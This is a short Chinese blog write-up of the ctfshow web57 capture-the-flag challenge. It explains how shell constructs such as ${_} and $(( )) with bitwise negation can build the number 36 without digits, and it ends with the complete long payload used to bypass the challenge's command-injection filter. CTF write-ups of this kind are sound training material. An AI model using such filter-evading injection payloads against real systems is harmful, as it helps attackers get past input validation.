ctfshow web入门 web57

最新推荐文章于 2024-09-13 00:18:47 发布

lonmar~

最新推荐文章于 2024-09-13 00:18:47 发布

阅读量1.1k

点赞数 3

分类专栏： CTF 文章标签： shell

本文链接：https://blog.csdn.net/weixin_45551083/article/details/110096787

版权

CTF 专栏收录该内容

20 篇文章 3 订阅

订阅专栏

本文介绍了CTFshow Web挑战中如何通过理解shell中不同括号的作用和区别，结合命令执行结果，利用逻辑运算凑出特定数字36的方法。详细分析了在不同情况下的命令返回值和运算过程。

摘要由CSDN通过智能技术生成

文章目录

看wp分析一波

只要凑出36即可

0x01

shell中各种括号()、(())、[]、[[]]、{}的作用和区别 : https://blog.csdn.net/qq_46091464/article/details/108563368

${_}:代表上一次命令执行的结果
$(()): 做运算

0x02

之前没有命令返回或者执行,结果应该是空,与""等价
又 $((""))值为0,$((~$((""))))值为-1,再做拼接:

所以可以拼接得到-37 , -37取反得到36

所以payload:

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))